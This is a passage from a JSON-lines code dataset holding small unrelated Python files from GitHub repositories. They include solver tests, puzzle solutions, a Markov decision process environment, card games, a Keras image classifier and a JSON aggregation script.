print('dog的各同义词集的具体定义是：',[dog.definition() for dog in dog_set])\n# print('dog的各同义词集的例子是：',[dog.examples() for dog in dog_set])\n\n\ngoods = wn.synsets('心脏病')\nbeautifuls = wn.synsets('心脏疾病')\nbads = wn.synsets('bad')\ndogs = wn.synsets('dog')\ncats = wn.synsets('cat')\nprint('good和beautiful的语义相似度为： ', max([0 if good.path_similarity(beautiful) == None else good.path_similarity(beautiful) for good in goods for beautiful in beautifuls]))\nprint('good和bad的语义相似度为： ', max([0 if good.path_similarity(bad) == None else good.path_similarity(bad) for good in goods for bad in bads]))\nprint('dog和cat的语义相似度为： ', max([0 if dog.path_similarity(cat) == None else dog.path_similarity(cat) for dog in dogs for cat in cats]))\n\n","repo_name":"QiuZiXian/python-learning-process","sub_path":"extend_work/ner/modelfile/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"24672166618","text":"import hypothesis as hyp\nimport hypothesis.strategies as st\nimport numpy as np\nimport pytest\n\nfrom idesolver import IDEConvergenceWarning, IDESolver\n\n\ndef test_warning_when_not_enough_iterations():\n args = dict(\n x=np.linspace(0, 1, 100),\n y_0=0,\n c=lambda x, y: y - (0.5 * x) + (1 / (1 + x)) - np.log(1 + x),\n d=lambda x: 1 / (np.log(2)) ** 2,\n k=lambda x, s: x / (1 + s),\n lower_bound=lambda x: 0,\n upper_bound=lambda x: 1,\n f=lambda y: y,\n global_error_tolerance=1e-6,\n )\n\n good_solver = IDESolver(**args)\n good_solver.solve()\n\n bad_solver = IDESolver(**args, max_iterations=int(good_solver.iteration / 2))\n\n with pytest.warns(IDEConvergenceWarning):\n bad_solver.solve()\n\n\ndef test_y_intermediate_list_exists_if_store_intermediate_y_is_true():\n solver = IDESolver(\n x=np.linspace(0, 1, 100),\n y_0=0,\n c=lambda x, y: y - (0.5 * x) + (1 / (1 + x)) - np.log(1 + x),\n d=lambda x: 1 / (np.log(2)) ** 2,\n k=lambda x, s: x / (1 + s),\n lower_bound=lambda x: 0,\n upper_bound=lambda x: 1,\n f=lambda y: y,\n global_error_tolerance=1e-6,\n store_intermediate_y=True,\n )\n\n assert hasattr(solver, \"y_intermediate\")\n\n\ndef test_number_of_intermediate_solutions_is_same_as_iteration_count_plus_one():\n solver = IDESolver(\n x=np.linspace(0, 1, 100),\n y_0=0,\n c=lambda x, y: y - (0.5 * x) + (1 / (1 + x)) - np.log(1 + x),\n d=lambda x: 1 / (np.log(2)) ** 2,\n k=lambda x, s: x / (1 + s),\n lower_bound=lambda x: 0,\n upper_bound=lambda x: 1,\n f=lambda y: y,\n global_error_tolerance=1e-6,\n store_intermediate_y=True,\n )\n solver.solve()\n\n # the +1 is for the initial value, which isn't counted as an iteration, but is counted as a y_intermediate\n assert len(solver.y_intermediate) == solver.iteration + 1\n\n\ndef test_intermediate_solutions_of_scalar_problem_is_list_of_scalar_arrays():\n solver = IDESolver(\n x=np.linspace(0, 1, 100),\n y_0=0,\n c=lambda x, y: y - (0.5 * x) + (1 / (1 + x)) - np.log(1 + x),\n d=lambda x: 1 / (np.log(2)) ** 2,\n k=lambda x, s: x / (1 + s),\n lower_bound=lambda x: 0,\n upper_bound=lambda x: 1,\n f=lambda y: y,\n global_error_tolerance=1e-6,\n store_intermediate_y=True,\n )\n solver.solve()\n\n assert np.all([y.ndim == 1 for y in solver.y_intermediate])\n\n\ndef test_intermediate_solutions_of_vector_problem_is_list_of_vector_arrays():\n solver = IDESolver(\n x=np.linspace(0, 1, 100),\n y_0=[0, 1, 0],\n c=lambda x, y: [y[0] - (0.5 * x) + (1 / (1 + x)) - np.log(1 + x), y[0], 1],\n d=lambda x: [1 / (np.log(2)) ** 2, 0, 0],\n k=lambda x, s: x / (1 + s),\n lower_bound=lambda x: 0,\n upper_bound=lambda x: 1,\n f=lambda y: y,\n global_error_tolerance=1e-6,\n store_intermediate_y=True,\n )\n solver.solve()\n\n assert np.all([y.shape == (3, 100) for y in solver.y_intermediate])\n\n\ndef test_callback_is_called_correct_number_of_times(mocker):\n callback = mocker.Mock()\n\n solver = IDESolver(\n x=np.linspace(0, 1, 100),\n y_0=0,\n c=lambda x, y: y - (0.5 * x) + (1 / (1 + x)) - np.log(1 + x),\n d=lambda x: 1 / (np.log(2)) ** 2,\n k=lambda x, s: x / (1 + s),\n lower_bound=lambda x: 0,\n upper_bound=lambda x: 1,\n f=lambda y: y,\n global_error_tolerance=1e-6,\n store_intermediate_y=True,\n )\n solver.solve(callback=callback)\n\n # first iteration is number 0, so add one to left to get total number of callback calls\n assert callback.call_count == solver.iteration + 1\n\n\n@pytest.fixture(scope=\"module\")\ndef default_solver():\n return IDESolver(x=np.linspace(0, 1, 100), y_0=0)\n\n\n@hyp.given(x=st.complex_numbers(), y=st.complex_numbers())\ndef test_default_c(default_solver, x, y):\n assert default_solver.c(x, y) == 0\n\n\n@hyp.given(x=st.complex_numbers())\ndef test_default_d(default_solver, x):\n assert default_solver.d(x) == 1\n\n\n@hyp.given(x=st.complex_numbers(), s=st.complex_numbers())\ndef test_default_k(default_solver, x, s):\n assert default_solver.k(x, s) == 1\n\n\n@hyp.given(y=st.complex_numbers())\ndef test_default_f(default_solver, y):\n assert default_solver.f(y) == 0\n\n\ndef test_default_lower_bound(default_solver):\n assert default_solver.lower_bound(default_solver.x) == default_solver.x[0]\n\n\ndef test_default_upper_bound(default_solver):\n assert default_solver.upper_bound(default_solver.x) == default_solver.x[-1]\n","repo_name":"JoshKarpel/idesolver","sub_path":"tests/test_misc.py","file_name":"test_misc.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"22"} +{"seq_id":"74543652217","text":"from itertools import zip_longest\n\n\nclass Solution:\n def reformat(self, s: str) -> str:\n if len(s) > 1 and (s.isalpha() or s.isdigit()):\n return \"\"\n letters = \"\"\n numbers = \"\"\n for character in s:\n if character.isdigit():\n numbers += character\n else:\n letters += character\n\n if len(numbers) >= len(letters):\n sequence = zip_longest(numbers, letters)\n else:\n sequence = zip_longest(letters, numbers)\n\n return ''.join(''.join(pair) if all(pair) else pair[0] for pair in sequence)\n","repo_name":"anton-dovnar/LeetCode","sub_path":"String/Easy/1417.py","file_name":"1417.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"14723823092","text":"# 83.87875270843506s\r\nmax_step = 0\r\nmax_index = 0\r\nfor i in range(1, 10 ** 6 + 1):\r\n step = 0\r\n num = i\r\n while not num == 1:\r\n step += 1\r\n if num % 2 == 0:\r\n num //= 2\r\n else:\r\n num = 3 * num + 1\r\n if step > max_step:\r\n max_step = step\r\n max_index = i\r\nprint(max_index)\r\n\r\n\r\n# others1: 3.113677740097046s\r\ndef collatz(n): return n // 2 if n % 2 == 0 else 3 * n + 1\r\n\r\n\r\ndef distance(n, cache={1: 1}):\r\n if n not in cache: cache[n] = distance(collatz(n)) + 1\r\n return cache[n]\r\n\r\n\r\nprint(max(range(1, 1000000), key=distance))\r\n\r\n\r\n# others2: 3.403927803039551s\r\ndef longest_collatz_sequence(t):\r\n cache = {1: 1}\r\n\r\n def collatz_(n):\r\n if n not in cache:\r\n cache[n] = collatz_(3 * n + 1 if n % 2 else n / 2) + 1\r\n return cache[n] # Length of Collatz Chain\r\n\r\n return max(range(1, t), key=collatz_) # Greatest Chain\r\n\r\n\r\nprint(longest_collatz_sequence(1000000))\r\n","repo_name":"kaki1013/project_euler","sub_path":"solution14_개선.py","file_name":"solution14_개선.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70203650296","text":"load(\"//sqlc/private/rules:release.bzl\", _sqlc_release = \"sqlc_release\")\nload(\"//sqlc/private/rules:package.bzl\", _sqlc_package = \"sqlc_package\")\nload(\n \"//sqlc/private:sqlc_toolchain.bzl\",\n _declare_toolchains = \"declare_toolchains\",\n _sqlc_toolchain = \"sqlc_toolchain\",\n)\nload(\n \"//sqlc/private:providers.bzl\",\n _SQLCRelease = \"SQLCRelease\",\n)\n\nSQLCRelease = _SQLCRelease\n\ndeclare_toolchains = _declare_toolchains\nsqlc_release = _sqlc_release\nsqlc_package = _sqlc_package\nsqlc_toolchain = _sqlc_toolchain\n","repo_name":"plezentek/rules_sqlc","sub_path":"sqlc/def.bzl","file_name":"def.bzl","file_ext":"bzl","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"} +{"seq_id":"6772363320","text":"\"\"\"\nThis module implements the MDP class, a Gym environment\nthat models a Markovian Decision Process.\n\"\"\"\n\nimport sys\nimport multiprocessing as mp\nfrom functools import partial\nimport numpy as np\nimport gymnasium as gym\nfrom gymnasium import spaces\nfrom tqdm import tqdm\n\n\nclass MDP(gym.Env):\n \"\"\"\n Class to implement a stationary Markov Decision Process\n as a gym environment.\n \"\"\"\n\n def __init__(\n self,\n num_actions: int,\n num_states: int,\n rewards: dict[(int, int):float], # r(s,a) \\in R\n transitions: dict[(int, int):int], # (s,a) ~> s'\n init_state: int, # initial state\n beta: float, # discount factor\n f: list[tuple[int]], # strategy used by controller\n timesteps: int = 100,\n ):\n \"\"\"\n Initialising the MDP with `num_states` states and\n `num_actions` actions using spaces.Discrete.\n Note: Both spaces are zero-indexed !!!\n \"\"\"\n # counters for determining end of run\n self.timesteps, self.curr_time = timesteps, 0\n\n # main variables\n self.observation_space = spaces.Discrete(num_states)\n self.action_space = spaces.Discrete(num_actions)\n self.rewards = rewards\n self.transitions = transitions\n self.curr_reward = 0.0\n self.f = f\n self.beta = beta\n\n if self.rewards.keys() != self.transitions.keys():\n raise RuntimeError(\"Rewards and Transitions defined on different domains\")\n if init_state < 0 or init_state >= num_states:\n raise RuntimeError(f\"Invalid init state{init_state}: out of bounds!\")\n\n # storing state-related variables\n self.init_state = init_state # storing this for reset()\n self.curr_state = init_state\n\n # calculate the transition matrix\n # using the strategy and the transition probas\n # self._calculate_P()\n\n def reset(self, seed=None, options=None):\n \"\"\"\n Reset the MDP to run the next trajectory\n \"\"\"\n super().reset(seed=seed)\n self.curr_reward = 0.0\n self.curr_state = self.init_state\n self.old_state = None\n self.curr_time = 0\n\n def step(self, action: int):\n \"\"\"\n Simulate a step in an MDP. This means an action is taken,\n so that s ---> s',\n \"\"\"\n try:\n self.transitions[(self.curr_state, action)]\n except KeyError:\n # Using info parameter to return status\n return (\n self.curr_state,\n self.curr_reward,\n self.curr_time == self.timesteps,\n \"Invalid state accessed. Not stepping.\",\n )\n # state with defined transitions, stepping.\n probas = self.transitions[(self.curr_state, action)]\n self.curr_reward += self._get_reward(action)\n self.curr_state = self._get_state(\n probas\n ) # old_state <- curr_state, curr_state <- new_state\n self.curr_time += 1\n # returning results of step\n return self.curr_state, self.curr_reward, self.curr_time == self.timesteps, None\n\n def _calculate_P(self):\n \"\"\"\n Helper function to calculate the transition matrix P\n as defined by the Markov Decision Process. This relies on\n the object being well-initialised first.\n \"\"\"\n raise RuntimeError(\"_calculate_P should not be explicit.\")\n self.P = np.zeros((self.observation_space.n, self.observation_space.n))\n for i in range(self.observation_space.n):\n local_f = self.f[i]\n for j in range(self.observation_space.n):\n for k in range(len(local_f)):\n # this length is similar to number\n # of actions for this state.\n self.P[i, j] += local_f[k] * self.transitions[(i, k)][j]\n\n def _get_state(self, probas):\n \"\"\"\n Helper function to return the current state,\n using the probability distribution over each\n state in self.observation_space\n \"\"\"\n # Create a mask that is 1 only where we select the element.\n # this mask has to be generated using transition probability\n # as defined in `probas`.\n mask = np.zeros(self.observation_space.n, dtype=np.int8)\n mask[np.random.choice(range(self.observation_space.n), p=probas)] = 1\n\n # Saving current state and selecting new state using observation space\n self.old_state = self.curr_state\n return self.observation_space.sample(mask=mask)\n\n def _get_reward(self, action):\n \"\"\"\n Helper function to calculate the reward for each\n timestep, using the old state and the action.\n \"\"\"\n try:\n return self.rewards[(self.curr_state, action)] * (\n self.beta**self.curr_time\n )\n except KeyError:\n # When accessing undefined states.\n return 0.0\n\n def sample(self):\n \"\"\"\n Samples an action from the action space\n according to probabilities defined by the\n strategy and current state\n \"\"\"\n # using a mask that is 1 only for the action\n # chosen using the probas chosen using the strategy.\n action_probas = self.f[self.curr_state]\n if len(action_probas) != self.action_space.n:\n # Undefined states : pad action_probas\n # on the right to the same length\n action_probas = np.pad(\n action_probas, (0, self.action_space.n - len(action_probas))\n )\n mask = np.zeros(self.action_space.n, dtype=np.int8)\n mask[np.random.choice(range(self.action_space.n), p=action_probas)] = 1\n return self.action_space.sample(mask=mask)\n\n\ndef create_mdp_and_run_epoch(init_state: int = 0, args=None):\n \"\"\"\n Function to create an MDP and run an epoch, to get the average reward.\n Parameters are hardcoded for now.\n \"\"\"\n # simulating the text example.\n mdp_states, mdp_actions = 3, 2\n\n # rewards are represented as (curr_state,action)->reward key-value pairs\n mdp_rewards = {(0, 0): -5, (0, 1): 10, (1, 0): 5, (1, 1): 0, (2, 0): 20}\n\n # transition probabilities are represented as a dict of\n # (curr_state, action)-> proba_of_state[idx] key-value pairs\n mdp_transitions = {\n (0, 0): [0.9, 0, 0.1],\n (0, 1): [0, 1, 0],\n (1, 0): [0, 1, 0],\n (1, 1): (0.8, 0.2, 0),\n (2, 0): [0.9, 0.1, 0],\n }\n\n # Strategy used by the MDP\n # strat[state] = list[proba_of_choosing_action: float]\n # Note: here, state 3 only defines action 1, so it is\n # a singleton.\n mdp_strategy = [(0.1, 0.9), (1.0, 0.0), (1.0,)]\n\n # just checking\n assert mdp_transitions.keys() == mdp_rewards.keys()\n\n mdp = MDP(\n mdp_actions,\n mdp_states,\n mdp_rewards,\n mdp_transitions,\n init_state=init_state,\n beta=0.8,\n f=mdp_strategy,\n timesteps=1000,\n )\n\n done = False\n while not done:\n curr_action = mdp.sample()\n _, reward, done, _ = mdp.step(curr_action)\n mdp.reset()\n\n # return the result of the trajectory\n return reward\n\n\nif __name__ == \"__main__\":\n # choose the initial state using a partial function\n INIT_STATE = int(sys.argv[1]) if len(sys.argv) > 1 else 0\n worker = partial(create_mdp_and_run_epoch, INIT_STATE)\n print(f\"Setting initial state to {INIT_STATE}\")\n\n # define the parameters of the run\n num_epochs, record_list = 100, []\n\n # running it in parallel for speed\n with mp.Pool() as pool:\n for result in tqdm(\n pool.imap_unordered(worker, range(num_epochs)), total=num_epochs\n ):\n record_list.append(result)\n\n # checking that we did not lose any results\n assert len(record_list) == num_epochs\n\n # results\n print(\n f\"Average reward over {num_epochs} runs = {sum(record_list) / len(record_list)}\"\n )\n","repo_name":"PrasannaMaddila/markov-decision-processes","sub_path":"src/mdp.py","file_name":"mdp.py","file_ext":"py","file_size_in_byte":7980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"30099125856","text":"class Solution(object):\n def nextGreatestLetter(self, letters, target):\n \"\"\"\n :type letters: List[str]\n :type target: str\n :rtype: str\n \"\"\"\n if target >= letters[-1]:\n return letters[0]\n elif target < letters[0]:\n return letters[0]\n else:\n return self.divfind(target, letters)\n\n def divfind(self, target, letters):\n print(target, letters)\n if len(letters) == 1 and letters[0] >= target:\n return letters[0]\n if len(letters) == 2 and letters[0] > target and letters[0] <= letters[1]:\n return letters[0]\n elif len(letters) == 2:\n return letters[1]\n\n length = len(letters)\n if letters[int(length / 2)] > target:\n return self.divfind(target, letters[:int(length / 2) + 1])\n else:\n return self.divfind(target, letters[int(length / 2) + 1:])\n\n\n\n\n\n\nsol = Solution()\nletter = sol.nextGreatestLetter([\"c\",\"f\",\"j\"],\n\"c\")\n\n\n\nprint(letter)","repo_name":"stubird/micStudy","sub_path":"leetcode/nextGreatestLetter.py","file_name":"nextGreatestLetter.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"33169101984","text":"from ast import Return\nfrom random import random\nfrom secrets import randbelow\n\n\nimport random\nfrom telnetlib import PRAGMA_HEARTBEAT\ndef luo_korttipakka():\n pakka = []\n for x in [\"Pata\", \"Hertta\", \"Ruutu\", \"Risti\"]:\n for i in range (13):\n pakka.append (x + \" \" + str(i + 1))\n return pakka\n\ndef laske_arvo (kortit) :\n arvo = 0\n for k in kortit:\n if int(k.split () [1] ) > 10:\n arvo = arvo + 10\n else:\n arvo = arvo + int(k.split()[1])\n return arvo\n\nwhile (input (\"Pelataanko {K/E]? \") .upper() == \"K\") :\n pakka = luo_korttipakka()\n random.shuffle(pakka)\n\n pelaaja = [pakka]\n jakaja = []\n for i in range(2):\n pelaaja.append(pakka.pop())\n jakaja.append(pakka.pop())\n\n while True:\n pelaaja_pisteet = laske_arvo(pelaaja)\n print (\"PELAAJAN VUORO:\")\n print(\"Pelaaja:\", pelaaja_pisteet, \": \", pelaaja)\n print (\"Jakaja:\", jakaja [0])\n if pelaaja_pisteet >=21:\n break\n if input(\"Ota kortti [K]? \").upper() == \"K\":\n pelaaja.append(pakka.pop())\n else:\n break\n if pelaaja_pisteet >21:\n print (\"YLI 21: PEALAAJA HÄVISI!`\\n\")\n continue\n elif pelaaja_pisteet ==21:\n print (\"BLACKJACK!: PELAAJA VOITTI!\\n!\")\n continue\n while True:\n jakaja_pisteet = laske_arvo(jakaja)\n print (\"JAKAJAN VUORO:\")\n print (\"Pelaaja:\", pelaaja_pisteet,\": \", pelaaja)\n print (\"Jakaja: \", jakaja_pisteet, \", \", jakaja)\n if jakaja_pisteet < 16:\n jakaja.append(pakka.pop())\n else:\n break\n if jakaja_pisteet > 21 or jakaja_pisteet < pelaaja_pisteet:\n print (\"PELAAJA VOITTI!\\n\")\n \n else:\n print (\"PELAAJA HÄVISI!\\n\")\n\n","repo_name":"Doomriver/BlackJackGame","sub_path":"BlackJackGame.py","file_name":"BlackJackGame.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"35993964955","text":"# -*- coding: iso-8859-15 -*-\nimport kafe\nfrom kafe.function_tools import FitFunction, LaTeX, ASCII\nfrom numpy import exp, sqrt, pi\nfrom scipy.special import gamma, wofz\n##################################\n# Definition of the fit function #\n##################################\n# Set an ASCII expression for this function\n@ASCII(x_name=\"t\", expression=\"A0*exp(-t/tau)\")\n# Set some LaTeX-related parameters for this function\n@LaTeX(name='A', x_name=\"t\",\n parameter_names=('A_0', '\\\\tau{}'),\n expression=\"A_0\\\\,\\\\exp(\\\\frac{-t}{\\\\tau})\")\n@FitFunction\ndef exponential(t, A0=1, tau=1):\n return A0 * exp(-t/tau)\n\n\n# Initialize the Dataset and load data from a file\nmy_dataset = kafe.Dataset(title=\"Example dataset\",\n axis_labels=['t', 'A'])\nmy_dataset.read_from_file(input_file='dataset.dat')\n\n# Perform a Fit\nmy_fit = Fit(my_dataset, exponential)\nmy_fit.do_fit()\n\n# Plot the results\nmy_plot = Plot(my_fit)\nmy_plot.plot_all()\n\n\n# Create plots of the contours and profile chi-squared\ncontour = my_fit.plot_contour(0, 1, dchi2=[1.0, 2.3])\nprofile1 = my_fit.plot_profile(0)\nprofile2 = my_fit.plot_profile(1)\n\n# Show the plots\nmy_plot.show()\n","repo_name":"niklasries/PraktikumPhysik-KIT","sub_path":"Data/shitprogramm.py","file_name":"shitprogramm.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26200161851","text":"import string\n\nregs = {}\nfor i in range(0, 26):\n regs[string.ascii_lowercase[i]] = 0\n\nlast_played = 0\n\ndef parse_instr(instr):\n global last_played\n offset = 1\n operand = instr.split(' ')\n print(instr)\n if operand[0] == 'snd':\n if operand[1] >= 'a':\n last_played = regs[operand[1]]\n print(regs[operand[1]])\n else:\n last_played = int(operand[1])\n print(int(operand[1]))\n elif operand[0] == 'set':\n if operand[2] >= 'a':\n regs[operand[1]] = regs[operand[2]]\n else:\n regs[operand[1]] = int(operand[2])\n elif operand[0] == 'add':\n if operand[2] >= 'a':\n regs[operand[1]] += regs[operand[2]]\n else:\n regs[operand[1]] += int(operand[2])\n elif operand[0] == 'mul':\n if operand[2] >= 'a':\n regs[operand[1]] *= regs[operand[2]]\n else:\n regs[operand[1]] *= int(operand[2])\n elif operand[0] == 'mod':\n if operand[2] >= 'a':\n regs[operand[1]] %= regs[operand[2]]\n else:\n regs[operand[1]] %= int(operand[2])\n elif operand[0] == 'rcv':\n if operand[1] >= 'a':\n if regs[operand[1]] != 0:\n return -9999999999\n else:\n if int(operand[1]) != 0:\n return -9999999999\n elif operand[0] == 'jgz':\n if operand[1] >= 'a':\n if regs[operand[1]] > 0:\n if operand[2] >= 'a':\n offset = regs[operand[2]]\n else:\n offset = int(operand[2])\n else:\n if int(operand[1]) > 0:\n if operand[2] >= 'a':\n offset = regs[operand[2]]\n else:\n offset = int(operand[2])\n return offset\n\npc = 0\n\nlines = open(\"inputfile.txt\", 'r').read().splitlines()\nwhile pc >= 0 and pc <= len(lines):\n pc += parse_instr(lines[pc])\n\nprint(last_played)","repo_name":"roeltrienekens/adventofcode2017","sub_path":"day18/18a.py","file_name":"18a.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23087038622","text":"class TCard():\n def __init__(self):\n self.Suit = 0\n self.Rank = 0\n\nDeck = [None]\nChoice = ''\n\ndef GetRank(RankNo):\n Rank = ''\n if RankNo == 1:\n Rank = 'Ace'\n elif RankNo == 2:\n Rank = 'Two'\n elif RankNo == 3:\n Rank = 'Three'\n elif RankNo == 4:\n Rank = 'Four'\n elif RankNo == 5:\n Rank = 'Five'\n elif RankNo == 6:\n Rank = 'Six'\n elif RankNo == 7:\n Rank = 'Seven'\n elif RankNo == 8:\n Rank = 'Eight'\n elif RankNo == 9:\n Rank = 'Nine'\n elif RankNo == 10:\n Rank = 'Ten'\n elif RankNo == 11:\n Rank = 'Jack'\n elif RankNo == 12:\n Rank = 'Queen'\n elif RankNo == 13:\n Rank = 'King'\n return Rank\n\ndef GetSuit(SuitNo):\n Suit = ''\n if SuitNo == 1:\n Suit = 'Clubs'\n elif SuitNo == 2:\n Suit = 'Diamonds'\n elif SuitNo == 3:\n Suit = 'Hearts'\n elif SuitNo == 4:\n Suit = 'Spades'\n return Suit\n\ndef DisplayCard(ThisCard):\n print()\n print('Card is the', GetRank(ThisCard.Rank), 'of', GetSuit(ThisCard.Suit))\n print()\n\nCount = 0\ndef GetCard(ThisCard, Deck, Count):\n Suit = [1, 3, 2, 4, 1, 2, 1, 1, 1, 3, 3, 3, 3, 3, 2, 3, 4, 4, 4, 4, 2, 4, 4, 4, 4, 4, 3, 3, 3, 1, 1, 1, 2, 2, 2, 2, 2, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 4, 1, 4, 4]\n Rank = [1, 2, 2, 2, 3, 3, 4, 6, 5, 4, 5, 6, 7, 8, 12, 9, 4, 5, 6, 7, 13, 8, 9, 10, 11, 12, 10, 11, 12, 7, 8, 9, 1, 4, 5, 6, 7, 10, 11, 12, 13, 8, 9, 10, 11, 1, 3, 13, 1, 2, 3, 13]\n ThisCard.Suit = int(Suit[Count])\n ThisCard.Rank = int(Rank[Count])\n Count += 1\n\ndef IsNextCardHigher(LastCard, NextCard):\n Higher = False\n if NextCard.Rank > LastCard.Rank:\n Higher = True\n if (NextCard.Rank == LastCard.Rank) and (NextCard.Suit > LastCard.Suit):\n Higher = True\n return Higher\n\n\ndef GetChoiceFromUser():\n Choice = input('Is it higher than the last one? (enter y or n) Play a Joker? (enter j)')\n return Choice\n\ndef DisplayEndOfGameMessage(Score):\n print()\n print('GAME OVER!')\n print('Your score was', Score)\n if Score == 51:\n print('WOW! You completed a perfect game.')\n print()\n\ndef DisplayCorrectGuessMessage(Score):\n print()\n print('Well done! You guessed correctly.')\n print('Your score is now ', Score, '.', sep='')\n print()\n\n\ndef PlayGame(Deck):\n LastCard = TCard()\n NextCard = TCard()\n GameOver = False\n GetCard(LastCard, Deck, Count)\n DisplayCard(LastCard)\n NoOfCardsTurnedOver = 1\n NoOfJokers = 0\n while (NoOfCardsTurnedOver < 52) and (not GameOver):\n GetCard(NextCard, Deck, NoOfCardsTurnedOver)\n Choice = ''\n while (Choice != 'y') and (Choice != 'n') and (Choice != 'j'):\n Choice = GetChoiceFromUser()\n while (Choice == 'j' and NoOfJokers > 1):\n Choice = GetChoiceFromUser()\n if Choice == 'j':\n NoOfJokers += 1\n DisplayCard(NextCard)\n NoOfCardsTurnedOver = NoOfCardsTurnedOver + 1\n Higher = IsNextCardHigher(LastCard, NextCard)\n if (Higher and Choice == 'y') or (not Higher and Choice == 'n') or (Choice == 'j'):\n DisplayCorrectGuessMessage(NoOfCardsTurnedOver - 1)\n LastCard.Rank = NextCard.Rank\n LastCard.Suit = NextCard.Suit\n else:\n GameOver = True\n if GameOver:\n DisplayEndOfGameMessage(NoOfCardsTurnedOver - 2)\n else:\n DisplayEndOfGameMessage(51)\n\nPlayGame(Deck)","repo_name":"ThomasB123/Python","sub_path":"cardGame.py","file_name":"cardGame.py","file_ext":"py","file_size_in_byte":3465,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"35459889920","text":"from PIL import Image\nimport numpy as np\nimport os\nimport glob\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.layers import Activation, Dropout, Flatten, Dense\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras import backend as K\nK.set_image_dim_ordering('th')\n\nbatch_size = 20\ninput_shape=(3, 250, 250)\ntrain_datagen = ImageDataGenerator()\n\ntrain_generator = train_datagen.flow_from_directory('data/Training',target_size=(250, 250),batch_size=batch_size,class_mode='sparse') \nvalid_generator = train_datagen.flow_from_directory('data/Validation',target_size=(250, 250),batch_size=batch_size,class_mode='sparse') \n\nmodel = Sequential()\nmodel.add(Conv2D(32, (3, 3), input_shape=(3, 250, 250)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Conv2D(32, (3, 3), input_shape=(3, 250, 250)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Conv2D(64, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Conv2D(128, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Flatten())\nmodel.add(Dense(1000,activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(5,activation='softmax'))\n\nmodel.compile(optimizer='rmsprop', loss='sparse_categorical_crossentropy', metrics=['accuracy'])\nmodel.fit_generator(train_generator,steps_per_epoch=100 // batch_size,epochs=5,validation_data=valid_generator,validation_steps=800 // batch_size)\nmodel.save('first_try.h5') \n","repo_name":"adarsh071998/Medical-Diagnosis","sub_path":"COM/lib/xray.py","file_name":"xray.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"36349462320","text":"# author: Barre kevin\nimport os\nimport json\nimport sys\nimport logging.config\nfrom os import path as opath\nfrom os.path import join as opjoin\nfrom sys import path\nfrom functools import partial\n\ntry:\n import datatools\nexcept ModuleNotFoundError:\n if os.path.exists('datatools.zip'):\n path.insert(0, 'datatools.zip')\n elif os.path.exists('./src/main/python'):\n path.insert(0, './src/main/python')\n\nfrom datatools.melatrics import compose, agregate_files_paths, merge_jsons\n\n# FILESYSTEM = \"HDFS\"\nfile_directory = opath.dirname(opath.abspath(__file__))\nSEARCH_PATHS = [\n opjoin(file_directory, \"raw\"),\n opjoin(file_directory, \"raw\", \"_archive\", \"indexes\")\n]\nFILE_NAME = \"INDEX\"\nOUTPUT_PATH = opjoin(file_directory, \"raw\")\nOUTPUT_NAME = \"OUTPUT.json\"\nLOGGER = opjoin(file_directory, \"logger.conf\")\nlogging.config.fileConfig(fname=LOGGER, disable_existing_loggers=False)\n\nif __name__ == '__main__':\n do_agregate_files_paths = partial(agregate_files_paths, filename=FILE_NAME + \"*\")\n make_agregation = compose(merge_jsons, do_agregate_files_paths)\n agregated = make_agregation(SEARCH_PATHS)\n with open(opjoin(OUTPUT_PATH, OUTPUT_NAME),'w') as outfile:\n json.dump(agregated, outfile)\n outfile.close()\n pass\n","repo_name":"neudinger/JsonAggregation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37427592804","text":"\"\"\"\n Property of CR Capital, LLC. All rights reserved.\n Author: Bill Patterson\n\"\"\"\nimport logging\n\nfrom PIL import ImageTk, Image\n\nimport sys\n\nimport tkinter\nfrom tkinter import messagebox\nfrom tkinter import Label\nfrom tkinter import Frame\nfrom tkinter import IntVar\nfrom tkinter import Radiobutton\nfrom tkinter import Button\nfrom tkinter import Tk\n\n# from com.crcapital.ratingscrawler.ratingscrawler.CRCRatingsPair import CRCRatingsPair\n\n\"\"\"\n Front end constructor that is passed the array of CRCRatingsPairs (ADT to abstract the tickers and statuses).\n Here, it is initialized such that each frame is a module.\n\"\"\"\nclass CRCRatingsFrontend(tkinter.Frame):\n\n \"\"\"\n Aformentioned constructor mentioned in last comment. Seperate thread initialized in 